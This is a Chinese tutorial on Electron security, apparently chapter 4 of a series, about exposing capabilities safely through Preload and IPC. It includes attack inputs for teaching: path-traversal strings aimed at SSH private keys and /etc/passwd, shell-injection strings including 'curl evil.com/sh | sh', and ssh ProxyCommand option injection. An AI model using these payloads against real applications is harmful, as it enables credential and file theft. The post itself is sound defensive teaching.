Electron 安全第四章: Preload 与 IPC

如今开发 Agent 客户端的团队越来越多,大部分人没有系统化的学习安全相关知识,在开发客户端时会发生非常多并且严重的安全事故,在接下来的一段时间,我将系统的梳理 Electron 开发中涉及安全的知识点,用具体的案例来帮大家理解以及分析安全问题,让大家的产品都能做到攻不可破!

第二章用 nodeIntegration、contextIsolation、sandbox 三个配置,让 Renderer 不直接拥有 Node.js 和系统能力。

第三章用跳转控制、白名单和 CSP,管住 Renderer 能加载什么内容、执行什么代码。

但业务总要把一些能力交给 Renderer:选文件、存数据、发起一次网络诊断。这一章讲这些能力怎么通过 Preload + IPC 安全的交出去。

整体来看,一次 IPC 请求,要过四道关才能碰到能力:

同时记住分工:Preload 负责固定"能调什么、以什么形式调",Main 负责校验"传进来的内容"。前者缩小攻击面,后者兜底。两边都不能省。


4.1 Preload 只暴露具体 API

在 Electron 开发中,最忌讳的就是将整个主进程的能力一次性返回,由渲染进程完全决定怎么调用。

这就相当于把银行的金库大门完全敞开,没有任何的安全性可言。

比如如下的错误写法,把工具本身递出去:

js 复制代码
// 把 ipcRenderer、shell 整个暴露
contextBridge.exposeInMainWorld('api', {
  ipcRenderer,
  shell,
})

页面拿到之后能做什么?任何 channel、任何参数,调用无任何限制:

js 复制代码
window.api.ipcRenderer.invoke('file:readDownload', '/etc/passwd')
window.api.shell.openExternal('file:///etc/passwd')

Main 上有多少 handler,页面就有多少能力;参数也完全不受限。

正确写法,只暴露具体操作:

js 复制代码
// ✓ 页面只能调用你列出来的操作
contextBridge.exposeInMainWorld('api', {
  getCurrentUser: () => ipcRenderer.invoke('user:get'),
  readDownload: (name) => ipcRenderer.invoke('file:readDownload', name),
})

对比一下攻击面:

getCurrentUser() 没有参数,攻击面是零。readDownload(name) 有一个字符串参数,攻击面就是这一个参数,交给 Main 校验。而暴露 ipcRenderer,攻击面是所有对外接口以及任意参数

好的 API 设计,就是在设计攻击面的大小。

4.2 通用转发等于没封装

还有一种写法更隐蔽,而且大量教程和模板里就是这么写的:

js 复制代码
// 完全没有任何安全错误的写法
contextBridge.exposeInMainWorld('api', {
  invoke: (channel, ...args) => ipcRenderer.invoke(channel, ...args),
})

它看起来有"封装",但限制为零。页面对 Main 上的每个 handler 都可达:

js 复制代码
api.invoke('file:readDownload', '../../.ssh/id_rsa')
api.invoke('net:ping', 'x; curl evil.com/sh | sh')

包括那些你写了、忘了、后来加了危险参数的 handler。

有人会在 Preload 里加 channel 白名单,这比裸转发好:channel 至少固定了。但参数形状仍然不受限------白名单里的 channel 也能收到任意参数。所以它不能替代 Main 的校验,只是缩小了一点面。

原则只有一句:

页面不能接触 channel 名,只能对接 x.getCurrentUser 这种方法调用;参数形式由 Preload 固定,参数内容由 Main 校验。

4.3 防止路径穿越:谨慎使用 path.join

看一个真实场景。应用允许页面读取下载目录里的文件:

js 复制代码
// preload
readDownload: (name) => ipcRenderer.invoke('file:readDownload', name)

// main中直接使用传入的参数
ipcMain.handle('file:readDownload', (_, name) => {
  return fs.readFile(path.join(downloadsDir, name), 'utf-8')
})

上面可能看起来没有问题,但是如果攻击者传如下参数:

js 复制代码
await window.api.readDownload('../../.ssh/id_rsa')

把拼接过程展开看:

js 复制代码
path.join('/Users/me/Downloads', '../../.ssh/id_rsa')
// → '/Users/me/.ssh/id_rsa'

.. 一级级把路径带出目录,规范化后落在 home 下的私钥。Main 毫无察觉地读了它。

记住:path.join 只负责拼接,不负责检查结果还在不在目录里。

4.4 路径校验:先 resolve,再查目录

正确写法,两步:

js 复制代码
// 先解析成绝对路径,再确认它在目录里
ipcMain.handle('file:readDownload', (_, name) => {
  if (typeof name !== 'string') throw new Error('invalid name')

  const target = path.resolve(downloadsDir, name)
  if (!target.startsWith(downloadsDir + path.sep)) {
    throw new Error('out of range')
  }
  return fs.readFile(target, 'utf-8')
})

然后看不同的参数产生的结果:

js 复制代码
const base = '/Users/me/Downloads'

path.resolve(base, 'report.pdf')
// → '/Users/me/Downloads/report.pdf'     ✓ 放行

path.resolve(base, 'sub/a.pdf')
// → '/Users/me/Downloads/sub/a.pdf'      ✓ 子目录正常可用

path.resolve(base, '../../.ssh/id_rsa')
// → '/Users/me/.ssh/id_rsa'              ✗ 前缀不符,拦下

path.resolve(base, '/etc/passwd')
// → '/etc/passwd'                        ✗ 绝对路径不会被"拼进去",原样返回,拦下

最后一条是关键细节:

resolve 遇到绝对路径会直接以它为准,所以"传绝对路径"这种绕过方式天然被这套检查覆盖。

这里还有一个更隐蔽的坑:路径检查一定要携带 path.sep

js 复制代码
const base = '/app/data'

'/app/data-evil/x'.startsWith(base)            // true  ❌ 兄弟目录混进来了
'/app/data-evil/x'.startsWith(base + path.sep) // false ✓

data-evildata 开头,startsWith 会放行。拼上分隔符才是在查"目录成员关系"。

更彻底以及安全的做法:

不要让页面传文件名,用 ID 到 Main 里查映射,这样路径穿越直接失去入口。

4.5 命令执行:exec 和 execFile

如果要执行系统命令,杜绝直接操作 shell。

比如如下错误写法,字符串拼接:

js 复制代码
// exec 走 shell,元字符原样生效
ipcMain.handle('net:ping', (_, host) => {
  return exec(`ping -c 1 ${host}`)
})

如果攻击者传 '127.0.0.1; cat /etc/passwd',实际发生的是:

text 复制代码
/bin/sh -c "ping -c 1 127.0.0.1; cat /etc/passwd"

shell 看到的是两条命令 。分号、$()、反引号、管道,全都生效。问题不在 ping,而是在你把用户的输入交给了 shell 解析。

正确写法,execFile 加参数数组:

js 复制代码
// 不经过 shell
const { execFile } = require('child_process')

ipcMain.handle('net:ping', (_, host) => {
  if (!/^[\w.-]+$/.test(host)) throw new Error('invalid host')

  return new Promise((resolve, reject) => {
    execFile('ping', ['-c', '1', host], (err, out) =>
      err ? reject(err) : resolve(out)
    )
  })
})

同样的输入,这次发生的是:

text 复制代码
execve('ping', ['ping', '-c', '1', '127.0.0.1; cat /etc/passwd'], ...)

没有 shell,就没人解析 ;。整串字符只是 ping 的第三个命令行参数,ping 把它当主机名去解析,然后报"找不到这个主机"。cat 从头到尾没有机会运行。

但这里只去掉了第一种解析。目标程序收到参数后,还会按自己的规则再解析一遍:哪个是选项(以 - 开头),哪个是值。输入一旦符合它的规则,照样存在安全风险:

js 复制代码
// curl 的"值"是 URL,而 curl 原生支持 file 协议
// 所以这段代码可以执行,本地文件密钥暴漏
execFile('curl', ['file:///etc/passwd'])

// ssh 把以 - 开头的参数当选项
// 你传的"主机名"被 ssh 当成选项,ProxyCommand 会在本地执行
execFile('ssh', ['-oProxyCommand=cat /etc/passwd', 'x'])

这叫做选项注入:本该是"值"的输入,被程序解析成了"选项"。

针对这一种漏洞,可以使用白名单正则机制:在参数进程序之前,把它限定成"合法主机名该有的样子"。file:///etc/passwd 里有 :/-oProxyCommand=...- 开头、含 =,全被挡在门外。

总结就是:execFile 保证"输入只是一个参数",白名单保证"这个参数只能长得像主机名"。

4.6 校验用白名单,不用黑名单

黑名单的假设是"我能穷举所有危险",但你穷举不了:

js 复制代码
// 你挡得完吗?
const BLOCKED = ['exe', 'bat', 'sh']
if (BLOCKED.includes(ext)) throw new Error('not allowed')

scrcommsicmd,大小写变体,双扩展名 a.exe.png......每挡一个,攻击者换一个。

白名单反过来:只放行名单内的,其他全拒绝:

js 复制代码
// ✓ 默认拒绝
const ALLOWED = ['png', 'jpg', 'pdf']
if (!ALLOWED.includes(format)) throw new Error('not allowed')

攻击者的创造力不再和你相关------名单外的世界与他无关。

凡是"从一组值里选"的参数------格式、语言、主题、操作类型------都用这个模式。

4.7 返回值也是边界的一部分

最后一道关是返回的数据。最容易漏的是错误信息:

js 复制代码
// 比如错误消息把内部信息递给页面
throw new Error(`read ${filePath} failed`)

页面收到 read /Users/me/.ssh/id_rsa failed。读没读到不重要,路径存在性已经确认了。堆栈里还可能有更多:内部目录结构、依赖版本、行号。

正确做法:细节留在 Main 的日志里,给页面通用错误码:

js 复制代码
try {
  const data = await fs.promises.readFile(target, 'utf-8')
  return { ok: true, data }
} catch (e) {
  // 细节可写入主进程日志
  log.error(e)
  return { ok: false, code: 'READ_FAILED' }
}

边界是双向的:

进来的参数要校验,出去的数据要最小化。

4.8 正确示例

把整体安全规则串起来。比如有一个需求:页面保存一条笔记。

js 复制代码
// preload.js:只暴露一个动词,channel 固定
contextBridge.exposeInMainWorld('api', {
  saveNote: (title, body) => ipcRenderer.invoke('note:save', title, body),
})
js 复制代码
// main.js
ipcMain.handle('note:save', async (_, title, body) => {
  // ① 类型校验
  if (typeof title !== 'string' || title.length > 50) {
    return { ok: false, code: 'BAD_TITLE' }
  }
  if (typeof body !== 'string' || body.length > 10000) {
    return { ok: false, code: 'BAD_BODY' }
  }

  // ② 范围控制:文件名由 Main 生成,页面指定不了路径
  const id = crypto.randomUUID()
  const file = path.join(notesDir, `${id}.md`)

  // ③ 安全执行
  await fs.promises.writeFile(file, `# ${title}\n\n${body}`)

  // ④ 最小返回:回标识符,不回路径
  return { ok: true, id }
})

返回的是标识符(id),不是路径。在获取信息时使用 id 来查:

js 复制代码
ipcMain.handle('note:get', async (_, id) => {
  if (typeof id !== 'string' || !/^[0-9a-f-]{36}$/.test(id)) {
    return { ok: false, code: 'BAD_ID' }
  }
  const file = path.join(notesDir, `${id}.md`)
  return { ok: true, content: await fs.promises.readFile(file, 'utf-8') }
})

标识符和路径性质完全不同。

路径携带内部信息------目录结构、用户名------而且页面一旦持有路径,后续 API 就有了"指定路径"的筹码,4.3 的路径穿越就是这么进来的。

id 只是一串随机字符串,不携带信息,离开你提供的 API 毫无用处。页面拿 id,Main 做 id → 文件的映射,顺手校验 id 格式------这正是 4.4 里说的"更彻底的做法"。

这个例子里,路径穿越没有入口(文件名是 uuid),注入没有载体(不碰 shell),错误不泄露(通用错误码)。攻击者唯一能做的,是写入一条 50 字标题、一万字正文的笔记------这正是这个功能本来允许的。

这才是"把能力交出去"的目标:攻击者能做的,恰好等于功能本身。

4.9 检查清单

  • Preload 只暴露具体 API,没有 ipcRenderer / 通用 invoke 转发?
  • channel 名固定,不是参数拼出来的?
  • 每个 handler 都校验参数类型和长度?
  • 文件路径先 resolve 再查目录(带 path.sep),或者文件名由 Main 生成?
  • 命令执行用 execFile + 参数数组 + 白名单,没有 exec 拼字符串?
  • 枚举型参数用白名单?
  • 返回值和错误信息不泄露路径、堆栈、内部结构?

本章总结

  • Preload 暴露的是操作,不是工具;API 设计就是在设计攻击面的大小。
  • 通用转发等于没封装;channel 白名单也只管 channel,不管参数。
  • path.join 只拼接不检查;resolve 之后查目录,绝对路径和 .. 都走不出去。
  • exec 的危险在于 shell 解析;execFile 去掉 shell,但去不掉目标程序自己的参数解析,白名单仍要上。
  • 边界是双向的:进来的参数要校验,出去的数据要最小化。

能力可以下放,校验必须留在 Main 中;攻击者能做的,应该恰好等于功能本身。


下一章

下一个问题在网络:Electron 应用里有两套网络栈,其中一套的防护比你想象的弱得多。

第五章讲网络请求安全:HTTPS 与证书、SSRF、代理,以及怎么用请求拦截给网络层装白名单。

相关推荐
半个落月1 小时前
在浏览器里运行 DeepSeek-R1:从 WebGPU 检测到模型加载(一)
前端·人工智能·react.js
八角丶1 小时前
Node.js 事件循环详解(实验驱动)
前端·node.js
deli0070071 小时前
汉诺塔益智小游戏:浏览器里说句话,码道 WebUI 一键生成+部署上线
前端·ai编程
用户2181697049301 小时前
Flutter (二十四) 音频
前端
愚公搬代码1 小时前
【愚公系列】《Web应用安全》012-Behinder工具的使用
前端·安全
aixingpan1 小时前
aixingpan.cn API开发文档:api_docs_errors接口指南
前端·php
李剑一2 小时前
前端转AI要了解的技术,其他人不用看。前端架构基础之:让Js的计算运行在GPU上
前端·aigc·ai编程
IT_陈寒2 小时前
Python的列表拷贝坑得我原地打转
前端·人工智能·后端
恋猫de小郭2 小时前
Dart 3.13 的到底改了什么?为什么很重要?有什么坑?
android·前端·flutter